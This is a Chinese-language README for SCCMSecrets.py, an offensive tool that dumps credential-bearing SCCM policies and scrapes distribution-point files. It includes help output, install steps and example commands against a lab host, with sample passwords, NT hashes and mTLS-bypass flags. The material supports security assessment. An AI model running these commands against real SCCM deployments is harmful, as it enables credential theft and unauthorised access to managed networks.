SCCMSecrets.py 是一款 SCCM 策略利用工具。它不仅仅提取 NAA 凭据,还旨在提供一种针对 SCCM 策略利用的综合性方法。该工具可以在不同权限级别下执行,并尝试发现与策略分发相关的潜在错误配置。有关该工具及其用法的更多详细信息,请参阅相关文章: https://www.synacktiv.com/publications/sccmsecretspy-exploiting-sccm-policies-distribution-for-credentials-harvesting-initial
提供两个子命令:policies 和 files。
该子命令与 SCCM 管理点(Management Point)交互,以转储所有机密策略的内容(包括 NAA 配置、包含凭据的任务序列或集合变量)。为此,需要一台已批准的 SCCM 设备,这可以通过三种方式获得。
--altauth 标志,SCCMSecrets 将利用备用身份验证端点,从而绕过 mTLS 要求,并在没有凭据且不存在自动设备批准错误配置的情况下获得已批准设备(更多信息请参阅此处)。这仅在 MP 配置为使用 HTTPS,并且 SCCM 站点配置为在整个站点范围内强制使用 HTTPS 时才有效(如果 MP 使用 HTTPS 但站点允许 HTTP 或 HTTPS,设备不会自动获得批准)。--use-existing-device)。此参数需要一个包含 guid.txt 文件(设备 GUID)和 key.pem 文件(设备私钥)的目录。该设备可以是之前执行 SCCMSecrets 创建的设备,也可以是对应于已失陷的合法 SCCM 客户端的设备。请注意,SCCM 策略与集合相关联。注册新设备会将此设备放入默认集合中——因此,只会检索来自默认集合的机密策略。这就是为什么使用 --use-existing-device 模拟已失陷的合法 SCCM 客户端会很有意义。实际上,该合法客户端可能属于与额外机密策略关联的自定义集合。
输出将放置在 loot 目录的子目录中(格式:[timestamp]_policies)。
$ python3 SCCMSecrets.py policies -h
Usage: SCCMSecrets.py policies [OPTIONS]
Dump secret policies from an SCCM Management Point
╭─ Options ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│ * --management-point -mp TEXT The client's SCCM management point. Expects either a URL, or a hostname/IP (defaults to HTTP in the latter case) [required] │
│ * --client-name -cn TEXT [Optional] The name of the client that will be created in SCCM - or a random name if using an existing device [required] │
│ --machine-name -u TEXT [Optional] A machine account name. If not provided, SCCMSecrets will try to exploit automatic device approval │
│ --machine-pass -p TEXT [Optional] The password for the machine account │
│ --machine-hash -H TEXT [Optional] The NT hash for the machine account │
│ --registration-sleep -rs INTEGER [Optional] The amount of time, in seconds, that should be waited after registrating a new device. A few minutes is recommended so that the new device can be added to │
│ device collections (3 minutes by default, may need to be increased) │
│ [default: 180] │
│ --use-existing-device -d TEXT [Optional] This option can be used to re-run SCCMSecrets.py using a previously registered device ; or to impersonate a legitimate SCCM client. In both cases, it │
│ expects the path of a folder containing a guid.txt file (the SCCM device GUID) and the key.pem file (the client's private key). Note that a client-name value must also │
│ be provided to SCCMSecrets (but does not have to match the one of the existing device) │
│ --pki-cert -c TEXT [Optional] The path to a valid domain PKI certificate in PEM format. Required when the Management Point enforces HTTPS and thus client certificate authentication │
│ --pki-key -k TEXT [Optional] The path to the private key of the certificate in PEM format │
│ --altauth -a [Optional] Use the MP's alternate authentication endpoint. This endpoint bypasses mutual TLS requirements, and automatically approves devices registered through it. It │
│ only works when the MP uses HTTPS AND HTTPS is enforced site-wide │
│ --verbose -v [Optional] Enable verbose output │
│ --help -h Show this message and exit. │
╰─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
该子命令将索引存储在分发点(Distribution Point)上的文件,并下载感兴趣的文件。SCCMSecrets 首先会尝试判断是否启用了匿名访问(非默认配置)。如果是这样,则无需身份验证即可索引和下载文件。否则,将需要域凭据。
可以按扩展名下载文件。SCCMSecrets 将索引托管在分发点上的所有包中的文件(生成一个采用 Unix tree 格式的 index.txt 文件),并下载具有指定扩展名的文件。当提供空扩展名列表时,仅执行文件索引。
在这两种情况下,都可以使用生成的索引文件中的 --urls 标志来下载特定的感兴趣文件(无需重新索引)。
请注意,如果实施了 mTLS 要求,可以通过提供 --nocert 标志来绕过。
输出将放置在 loot 目录的子目录中(格式:[timestamp]_files)。
$ python3 SCCMSecrets.py files --help
Usage: SCCMSecrets.py files [OPTIONS]
Dump interesting files from an SCCM Distribution Point
╭─ Options ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│ * --distribution-point -dp TEXT An SCCM distribution point. Expects either a URL, or a hostname/IP (defaults to HTTP in the latter case) [required] │
│ --username -u TEXT [Optional] A username for a domain account. If no account is provided, SCCMSecrets will try to exploit anonymous DP access │
│ --password -p TEXT [Optional] The password for the domain account │
│ --hash -H TEXT [Optional] The NT hash for the domain account (e.g. A4F49C406510BDCAB6824EE7C30FD852) │
│ --extensions -e TEXT [Optional] Comma-separated list of extension that will determine which files will be downloaded when retrieving packages scripts. Provide an empty string to not │
│ download anything, and only index files │
│ [default: .ps1, .bat, .xml, .txt, .pfx] │
│ --urls -f TEXT [Optional] A file containing a list of URLs (one per line) that should be downloaded from the Distribution Point. This is useful if you already indexed files and do not │
│ want to download by extension, but rather specific known files │
│ --max-recursion -r INTEGER [Optional] The maximum recursion depth when indexing files from the Distribution Point [default: 10] │
│ --pki-cert -c TEXT [Optional] The path to a valid domain PKI certificate in PEM format. Required when the Distribution Point enforces HTTPS and thus client certificate authentication │
│ --pki-key -k TEXT [Optional] The path to the private key of the certificate in PEM format │
│ --nocert -n [Optional] Use the DP's nocert endpoint. This endpoint bypasses mutual TLS requirements │
│ --verbose -v [Optional] Enable verbose output │
│ --help -h Show this message and exit. │
╰─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
默认情况下,客户端可以使用纯 HTTP 与其管理点或分发点进行交互。但是,SCCM 安装可以通过强制使用 HTTPS 来配置得更加安全。在这种情况下(对于管理点、分发点或两者),SCCM 将要求使用内部 PKI 证书进行客户端证书身份验证,该证书的用途为“客户端身份验证”。
仍然可以执行上述攻击——但是,必须通过 --pki-cert 和 --pki-key 标志提供有效的 PKI 证书(PEM 格式)。管理点/分发点 URL 也应带有 https:// 前缀。
请注意,--altauth(用于 policies)和 --nocert(用于 files)标志提供了绕过 mTLS 身份验证的方法(更多信息请参阅此处)。
您可以通过克隆存储库并安装依赖项来安装 SCCMSecrets.py。
$ git clone https://github.com/synacktiv/SCCMSecrets
$ cd SCCMSecrets
$ python3 -m venv .venv && source .venv/bin/activate
$ python3 -m pip install -r requirements.txt
以下是一些示例命令。
在不提供机器账户的情况下检索机密策略。这将尝试利用自动设备批准错误配置(非默认配置)
$ python3 SCCMSecrets.py policies -mp http://mecm.sccm.lab -cn 'test'
通过提供机器账户检索机密策略。这适用于默认 SCCM 配置
$ python3 SCCMSecrets.py policies -mp http://mecm.sccm.lab -u 'azule$' -p 'Password123!' -cn 'test'
检索现有设备的机密策略。compromised_device 文件夹包含 guid.txt 和 key.pem 文件。
$ python3 SCCMSecrets.py policies -mp http://mecm.sccm.lab --use-existing-device compromised_device/
当管理点强制使用 HTTPS 时检索机密策略
$ python3 SCCMSecrets.py policies -mp https://mecm.sccm.lab -u 'azule$' -H '2B576ACBE6BCFDA7294D6BD18041B8FE' -cn 'test' --pki-cert ./cert.pem --pki-key ./key.pem
使用备用身份验证端点检索机密策略,从而绕过 mTLS 身份验证,并在不提供凭据的情况下获得已批准设备(更多信息请参阅此处)。仅当 MP 使用 HTTPS 且站点范围内强制使用 HTTPS 时有效
$ python3 SCCMSecrets.py policies -mp https://mecm.sccm.lab -cn 'test' --altauth
在不提供凭据的情况下检索分发点文件。这将尝试利用匿名 DP 访问(非默认配置)
$ python3 SCCMSecrets files -dp http://mecm.sccm.lab
使用凭据检索分发点文件。这适用于默认 SCCM 配置
$ python3 SCCMSecrets.py files -dp http://mecm.sccm.lab -u 'dave' -p 'dragon'
按特定扩展名列表检索文件。使用机器账户的哈希进行身份验证
$ python3 SCCMSecrets.py files -dp http://mecm.sccm.lab -u 'dave' -H 'F7EB9C06FAFAA23C4BCF22BA6781C1E2' --extensions '.txt,.xml,.ps1,.pfx,.ini,.conf'
通过提供 URL 列表(每行一个)从分发点检索特定文件
$ python3 SCCMSecrets.py files -dp http://mecm.sccm.lab -u 'dave' -p 'dragon' --urls to_download.lst
当分发点强制使用 HTTPS 时检索 DP 文件
$ python3 SCCMSecrets.py files -dp https://mecm.sccm.lab -u 'dave' -p 'dragon' --pki-cert ./cert.pem --pki-key ./key.pem
当分发点强制使用 HTTPS 时绕过 mTLS 身份验证
$ python3 SCCMSecrets.py files -dp https://mecm.sccm.lab -u 'dave' -p 'dragon' --nocert